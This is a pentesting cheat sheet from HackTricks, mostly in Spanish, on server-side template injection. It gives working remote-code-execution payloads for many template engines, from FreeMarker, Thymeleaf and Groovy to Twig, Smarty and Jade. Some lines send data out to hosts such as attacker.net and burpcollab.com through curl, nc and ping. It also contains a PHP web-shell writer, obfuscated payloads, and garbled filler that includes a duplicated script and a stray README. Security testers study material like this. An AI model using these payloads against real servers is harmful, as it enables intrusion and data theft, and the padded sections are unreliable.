hacktricks/pentesting-web/ssti-server-side-template-injection
2023-07-11 13:30:02 +00:00
..
el-expression-language.md f 2023-06-05 20:33:24 +02:00
jinja2-ssti.md f 2023-06-05 20:33:24 +02:00
README.md Translated ['pentesting-web/ssti-server-side-template-injection/README.m 2023-07-11 13:30:02 +00:00

SSTI (Inyección de Plantillas en el Lado del Servidor)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.

{% embed url="https://www.rootedcon.com/" %}

¿Qué es la inyección de plantillas en el lado del servidor?

La inyección de plantillas en el lado del servidor ocurre cuando un atacante es capaz de utilizar la sintaxis nativa de las plantillas para inyectar una carga maliciosa en una plantilla, que luego se ejecuta en el lado del servidor.

Los motores de plantillas están diseñados para generar páginas web combinando plantillas fijas con datos volátiles. Los ataques de inyección de plantillas en el lado del servidor pueden ocurrir cuando la entrada del usuario se concatena directamente en una plantilla, en lugar de pasarla como datos. Esto permite a los atacantes inyectar directivas de plantilla arbitrarias para manipular el motor de plantillas, lo que a menudo les permite tomar control completo del servidor.

Un ejemplo de código vulnerable se muestra a continuación:

$output = $twig->render("Dear " . $_GET['name']);

En el ejemplo anterior, parte de la plantilla en sí se está generando dinámicamente utilizando el parámetro GET llamado name. Dado que la sintaxis de la plantilla se evalúa en el servidor, esto potencialmente permite a un atacante insertar una carga útil de inyección de plantilla en el lado del servidor dentro del parámetro name de la siguiente manera:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Construyendo un ataque de inyección de plantillas en el lado del servidor

Detectar

Como con cualquier vulnerabilidad, el primer paso hacia la explotación es poder encontrarla. Quizás el enfoque inicial más simple sea intentar fuzzear la plantilla inyectando una secuencia de caracteres especiales comúnmente utilizados en expresiones de plantillas, como el políglota ${{<%[%'"}}%\.
Para comprobar si el servidor es vulnerable, debes detectar las diferencias entre la respuesta con datos regulares en el parámetro y la carga útil proporcionada.
Si se produce un error, será bastante fácil darse cuenta de que el servidor es vulnerable e incluso qué motor se está ejecutando. Pero también podrías encontrar un servidor vulnerable si esperabas que reflejara la carga útil proporcionada y no lo está haciendo, o si hay algunos caracteres faltantes en la respuesta.

Detectar - Contexto de texto sin formato

La entrada proporcionada se está renderizando y reflejando en la respuesta. Esto fácilmente se puede confundir con una vulnerabilidad XSS simple, pero es fácil diferenciarlo si intentas establecer operaciones matemáticas dentro de una expresión de plantilla:

{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}

Detectar - Contexto del código

En estos casos, la entrada del usuario se coloca dentro de una expresión de plantilla:

engine.render("Hello {{"+greeting+"}}", data)

La URL para acceder a esa página podría ser similar a: http://vulnerable-website.com/?greeting=data.username

Si cambias el parámetro greeting por un valor diferente, la respuesta no contendrá el nombre de usuario, pero si accedes a algo como: http://vulnerable-website.com/?greeting=data.username}}hello, entonces la respuesta contendrá el nombre de usuario (si los caracteres de cierre de la expresión de la plantilla fueron }}).
Si se produce un error durante estas pruebas, será más fácil encontrar que el servidor es vulnerable.

Identificar

Una vez que hayas detectado el potencial de inyección de plantillas, el siguiente paso es identificar el motor de plantillas.
Aunque hay una gran cantidad de lenguajes de plantillas, muchos de ellos utilizan una sintaxis muy similar que se elige específicamente para no chocar con los caracteres HTML.

Si tienes suerte, el servidor estará imprimiendo los errores y podrás encontrar el motor utilizado dentro de los errores. Algunos payloads posibles que pueden causar errores son:

${} {{}} <%= %>
${7/0} {{7/0}} <%= 7/0 %>
${foobar} {{foobar}} <%= foobar %>
${7*7} {{7*7}} ``

De lo contrario, deberás probar manualmente diferentes payloads específicos del lenguaje y estudiar cómo son interpretados por el motor de plantillas. Una forma común de hacer esto es inyectar operaciones matemáticas arbitrarias utilizando la sintaxis de diferentes motores de plantillas. Luego puedes observar si se evalúan correctamente. Para ayudar en este proceso, puedes utilizar un árbol de decisiones similar al siguiente:

Explotar

Leer

El primer paso después de encontrar la inyección de plantillas e identificar el motor de plantillas es leer la documentación. Las áreas clave de interés son:

  • Secciones 'Para autores de plantillas' que cubren la sintaxis básica.
  • 'Consideraciones de seguridad': es probable que quien desarrolló la aplicación que estás probando no haya leído esto, y puede contener algunas pistas útiles.
  • Listas de métodos, funciones, filtros y variables integradas.
  • Listas de extensiones/plugins: algunos pueden estar habilitados de forma predeterminada.

Explorar

Suponiendo que no se hayan presentado exploits, el siguiente paso es explorar el entorno para descubrir exactamente a qué tienes acceso. Puedes esperar encontrar tanto objetos predeterminados proporcionados por el motor de plantillas, como objetos específicos de la aplicación pasados a la plantilla por el desarrollador. Muchos sistemas de plantillas exponen un objeto 'self' o de espacio de nombres que contiene todo en el ámbito, y una forma idiomática de listar los atributos y métodos de un objeto.

Si no hay un objeto self incorporado, tendrás que probar nombres de variables mediante SecLists y la colección de listas de palabras de Burp Intruder.

Los objetos proporcionados por el desarrollador son particularmente propensos a contener información sensible, y pueden variar entre diferentes plantillas dentro de una aplicación, por lo que este proceso idealmente debe aplicarse a cada plantilla individualmente.

Atacar

En este punto, deberías tener una idea clara de la superficie de ataque disponible y poder proceder con técnicas tradicionales de auditoría de seguridad, revisando cada función en busca de vulnerabilidades explotables. Es importante abordar esto en el contexto de la aplicación en general: algunas funciones se pueden utilizar para explotar características específicas de la aplicación. Los ejemplos a continuación utilizarán la inyección de plantillas para desencadenar la creación arbitraria de objetos, la lectura/escritura arbitraria de archivos, la inclusión remota de archivos, la divulgación de información y las vulnerabilidades de escalada de privilegios.

Herramientas

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Exploits

Genérico

En esta lista de palabras puedes encontrar variables definidas en los entornos de algunos de los motores mencionados a continuación:

Java

Java - Inyección básica

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}

Java - Obtener las variables de entorno del sistema

En algunas situaciones de pentesting, puede ser útil obtener las variables de entorno del sistema en el que se está realizando la prueba. Esto puede proporcionar información valiosa sobre la configuración y el entorno del sistema objetivo.

En Java, se puede acceder a las variables de entorno del sistema utilizando la clase System y el método getenv(). Este método devuelve un objeto Map que contiene todas las variables de entorno del sistema y sus valores correspondientes.

A continuación se muestra un ejemplo de cómo recuperar las variables de entorno del sistema en Java:

import java.util.Map;

public class SystemEnvVariables {
    public static void main(String[] args) {
        Map<String, String> envVariables = System.getenv();

        for (Map.Entry<String, String> entry : envVariables.entrySet()) {
            System.out.println(entry.getKey() + " = " + entry.getValue());
        }
    }
}

Este código imprimirá todas las variables de entorno del sistema y sus valores correspondientes en la consola.

Es importante tener en cuenta que, en un entorno de producción, acceder a las variables de entorno del sistema puede ser un riesgo de seguridad. Por lo tanto, se recomienda utilizar esta técnica solo en entornos controlados y con el permiso adecuado.

${T(java.lang.System).getenv()}

Java - Obtener /etc/passwd

import java.io.*;

public class SSTI {
    public static void main(String[] args) throws IOException {
        String command = "cat /etc/passwd";
        Process process = Runtime.getRuntime().exec(command);
        BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
        String line;
        while ((line = reader.readLine()) != null) {
            System.out.println(line);
        }
        reader.close();
    }
}

Este código Java muestra cómo obtener el contenido del archivo /etc/passwd. El programa utiliza el método Runtime.getRuntime().exec() para ejecutar el comando cat /etc/passwd en el sistema operativo subyacente. Luego, lee la salida del comando línea por línea y la imprime en la consola.

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Puedes probar tus payloads en https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nada
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Bypass de la caja de arena

⚠️ solo funciona en versiones de Freemarker anteriores a 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Más información

Velocity (Java)

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

Más información

Thymeleaf (Java)

La expresión de prueba típica para SSTI es ${7*7}. Esta expresión también funciona en Thymeleaf. Si deseas lograr la ejecución remota de código, puedes usar una de las siguientes expresiones de prueba:

  • SpringEL: ${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL: ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Sin embargo, como mencionamos anteriormente, las expresiones solo funcionan en atributos especiales de Thymeleaf. Si es necesario utilizar una expresión en una ubicación diferente en la plantilla, Thymeleaf admite inline expressions. Para utilizar esta función, debes colocar una expresión dentro de [[...]] o [(...)] (selecciona uno u otro dependiendo de si necesitas escapar símbolos especiales). Por lo tanto, una carga útil de detección simple de SSTI para Thymeleaf sería [[${7*7}]].

Sin embargo, las posibilidades de que la carga útil de detección anterior funcione son muy bajas. Las vulnerabilidades de SSTI generalmente ocurren cuando una plantilla se genera dinámicamente en el código. Thymeleaf, por defecto, no permite tales plantillas generadas dinámicamente y todas las plantillas deben crearse previamente. Por lo tanto, si un desarrollador desea crear una plantilla a partir de una cadena sobre la marcha, debería crear su propio TemplateResolver. Esto es posible, pero ocurre muy raramente.

Si examinamos más a fondo la documentación del motor de plantillas Thymeleaf, encontraremos una característica interesante llamada preprocesamiento de expresiones. Las expresiones colocadas entre doble guión bajo (__...__) se preprocesan y el resultado del preprocesamiento se utiliza como parte de la expresión durante el procesamiento regular. Aquí tienes un ejemplo oficial de la documentación de Thymeleaf:

#{selection.__${sel.code}__}

Ejemplo vulnerable

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Más información

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Framework Spring (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Bypassar filtros

Se pueden usar múltiples expresiones de variables, si ${...} no funciona, prueba con #{...}, *{...}, @{...} o ~{...}.

  • Leer /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Script personalizado para generar payloads
import requests

def generate_payload(template, code):
    payload = template.replace('{{code}}', code)
    return payload

def send_payload(payload, url):
    response = requests.post(url, data=payload)
    return response.text

template = '''
{{code}}
'''

code = '''
import os
os.system('whoami')
'''

payload = generate_payload(template, code)
url = 'http://example.com'
response = send_payload(payload, url)
print(response)

Este script personalizado genera payloads para inyecciones de código en el lado del servidor.

import requests

def generate_payload(template, code):
    payload = template.replace('{{code}}', code)
    return payload

def send_payload(payload, url):
    response = requests.post(url, data=payload)
    return response.text

template = '''
{{code}}
'''

code = '''
import os
os.system('whoami')
'''

payload = generate_payload(template, code)
url = 'http://example.com'
response = send_payload(payload, url)
print(response)

This custom script generates payloads for server-side template injections.

#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Más información

Manipulación de vistas de Spring (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Versión antigua de Pebble ( < versión 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Nueva versión de Pebble:

{% raw %}
{% set cmd = 'id' %}
{% endraw %}


{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

Jinjava is a powerful and flexible template engine for Java applications. It allows you to dynamically generate HTML, XML, JSON, and other types of documents by combining templates with data. Jinjava supports a wide range of features, including conditionals, loops, filters, and macros, making it a versatile tool for server-side template injection (SSTI) attacks.

Exploiting SSTI with Jinjava

To exploit SSTI vulnerabilities in applications that use Jinjava, you need to identify injection points where user-supplied input is directly included in the template. These injection points can be found in various places, such as URL parameters, form inputs, or database queries.

Once you have identified an injection point, you can craft a payload that will be executed as Jinjava code. This payload can include Jinjava expressions, variables, and functions to manipulate the template and execute arbitrary code on the server.

For example, consider the following vulnerable code snippet:

String template = request.getParameter("template");
String rendered = Jinjava.render(template);
response.getWriter().write(rendered);

In this code, the template parameter is directly passed to the Jinjava.render() method, making it susceptible to SSTI attacks. An attacker can exploit this vulnerability by injecting Jinjava code into the template parameter, leading to code execution on the server.

Preventing SSTI Attacks

To prevent SSTI attacks in applications that use Jinjava, it is important to properly sanitize and validate user input before including it in templates. Here are some best practices to follow:

  • Use a whitelist approach: Only allow specific safe expressions, variables, and functions to be used in templates.
  • Implement input validation: Validate user input to ensure it meets the expected format and does not contain any malicious code.
  • Use context-aware escaping: Escape user input based on its context in the template to prevent code injection.
  • Keep Jinjava up to date: Regularly update Jinjava to benefit from the latest security patches and bug fixes.

By following these best practices, you can mitigate the risk of SSTI vulnerabilities in your applications and protect them from potential attacks.

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava es un proyecto de código abierto desarrollado por Hubspot, disponible en https://github.com/HubSpot/jinjava/

Jinjava - Ejecución de comandos

Solucionado por https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Más información

Hubspot - HuBL (Java)

  • Delimitadores de declaración {% %}
  • Delimitadores de expresión {{ }}
  • Delimitadores de comentario {# #}
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Busqué "com.hubspot.content.hubl.context.TemplateContextRequest" y descubrí el proyecto Jinjava en Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the







{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Más información

Lenguaje de Expresión - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

EL proporciona un mecanismo importante para permitir que la capa de presentación (páginas web) se comunique con la lógica de la aplicación (beans administrados). EL es utilizado por varias tecnologías de JavaEE, como la tecnología JavaServer Faces, la tecnología JavaServer Pages (JSP) y la Inyección de Dependencias y Contextos para Java EE (CDI).
Consulte la siguiente página para obtener más información sobre la explotación de intérpretes EL:

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Groovy (Java)

Este bypass del Administrador de Seguridad fue tomado de este informe.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.

{% embed url="https://www.rootedcon.com/" %}

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Más información

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nada
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}

Twig - Formato de plantilla

Twig es un motor de plantillas utilizado en muchos frameworks de PHP, como Symfony. Proporciona una sintaxis clara y segura para generar contenido dinámico en las aplicaciones web.

Las plantillas Twig se componen de etiquetas y filtros que permiten manipular y mostrar datos. Estas plantillas se procesan en el servidor antes de enviar el contenido al cliente.

Una vulnerabilidad común en las aplicaciones web es la Inyección de Plantillas en el Lado del Servidor (SSTI, por sus siglas en inglés). Esto ocurre cuando los datos proporcionados por el usuario se interpretan como código de plantilla y se ejecutan en el servidor.

La SSTI puede permitir a un atacante ejecutar código malicioso en el servidor, lo que puede llevar a la ejecución remota de comandos, la filtración de información confidencial o incluso la toma de control completo del sistema.

Es importante tener en cuenta que la SSTI solo ocurre cuando los datos del usuario se mezclan directamente con el código de plantilla sin una validación o sanitización adecuada.

Para evitar la SSTI, se deben seguir las mejores prácticas de seguridad, como:

  • Validar y sanitizar todos los datos de entrada antes de mezclarlos con el código de plantilla.
  • Utilizar funciones y filtros seguros proporcionados por Twig para manipular los datos.
  • Limitar los privilegios del usuario que ejecuta el código de plantilla en el servidor.
  • Mantener actualizadas las versiones de Twig y los frameworks que lo utilizan para aprovechar las correcciones de seguridad.

Al comprender y mitigar los riesgos asociados con la SSTI, los desarrolladores pueden garantizar que sus aplicaciones web sean seguras y protegidas contra posibles ataques.

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Más información

Plates (PHP)

Plates está inspirado en Twig pero es un motor de plantillas PHP nativo en lugar de un motor de plantillas compilado.

controlador:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

plantilla de página:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

plantilla de diseño:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

PHPlib y HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB es lo mismo que PHPlib pero portado a Pear.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

Inyección de plantillas en el lado del servidor (SSTI)

Descripción

Este repositorio contiene ejemplos de código para demostrar la vulnerabilidad de inyección de plantillas en el lado del servidor (SSTI). La inyección de plantillas en el lado del servidor es una vulnerabilidad que permite a un atacante ejecutar código arbitrario en el servidor web.

Configuración

  1. Clona este repositorio en tu máquina local.
  2. Configura un servidor web local o utiliza una plataforma en la nube/SaaS como Workspace, AWS o GCP.
  3. Copia el archivo authors.php en el directorio raíz de tu servidor web.

Uso

  1. Abre el archivo authors.php en tu navegador.
  2. Verás una lista de autores obtenida de una base de datos.
  3. Intenta realizar una inyección de plantillas en el campo de búsqueda para ejecutar código arbitrario en el servidor.

Prevención

Para prevenir la inyección de plantillas en el lado del servidor, se recomienda:

  • Validar y sanitizar todas las entradas de usuario antes de utilizarlas en plantillas.
  • Utilizar un motor de plantillas que tenga mecanismos de seguridad incorporados para prevenir la ejecución de código arbitrario.
  • Limitar los privilegios del usuario que ejecuta el servidor web para minimizar el impacto de una posible explotación.

Contribución

Si encuentras algún problema o tienes alguna sugerencia, siéntete libre de abrir un problema o enviar una solicitud de extracción.

Descargo de responsabilidad

Este repositorio se proporciona con fines educativos y de prueba de penetración. No se debe utilizar para realizar actividades ilegales. El autor no se hace responsable de ningún mal uso o daño causado por el uso de este repositorio.

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Jade (NodeJS)

Jade is a popular template engine for NodeJS that allows you to generate HTML dynamically. However, it is important to be aware of the security risks associated with using Jade, as it can be vulnerable to Server-Side Template Injection (SSTI) attacks.

Server-Side Template Injection (SSTI)

Server-Side Template Injection occurs when an attacker is able to inject malicious code into a template that is then executed on the server. This can lead to various security issues, such as remote code execution, information disclosure, and even server compromise.

Exploiting SSTI in Jade

To exploit SSTI in Jade, an attacker needs to identify a vulnerable input point where user-supplied data is directly included in the template. This can be a user input field, a query parameter, or any other input mechanism.

Once a vulnerable input point is identified, the attacker can inject template code that will be executed on the server. This code can be used to perform various actions, such as accessing sensitive data, executing system commands, or even modifying the server's configuration.

Prevention and Mitigation

To prevent SSTI attacks in Jade, it is important to follow secure coding practices:

  • Input Validation: Always validate and sanitize user-supplied data before including it in a template. Use proper input validation techniques to ensure that only safe and expected data is processed.

  • Contextual Output Encoding: When outputting user-supplied data in a template, make sure to encode it properly based on the context. This helps prevent any potential code injection.

  • Least Privilege: Ensure that the server running the Jade templates has the least privilege necessary to perform its intended functions. Restrict access to sensitive resources and limit the capabilities of the server.

  • Regular Updates: Keep your Jade template engine and its dependencies up to date. This helps ensure that any security vulnerabilities are patched promptly.

By following these practices, you can reduce the risk of SSTI attacks in Jade and enhance the security of your NodeJS applications.

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Más información

patTemplate (PHP)

patTemplate es un motor de plantillas PHP que no compila, que utiliza etiquetas XML para dividir un documento en diferentes partes.

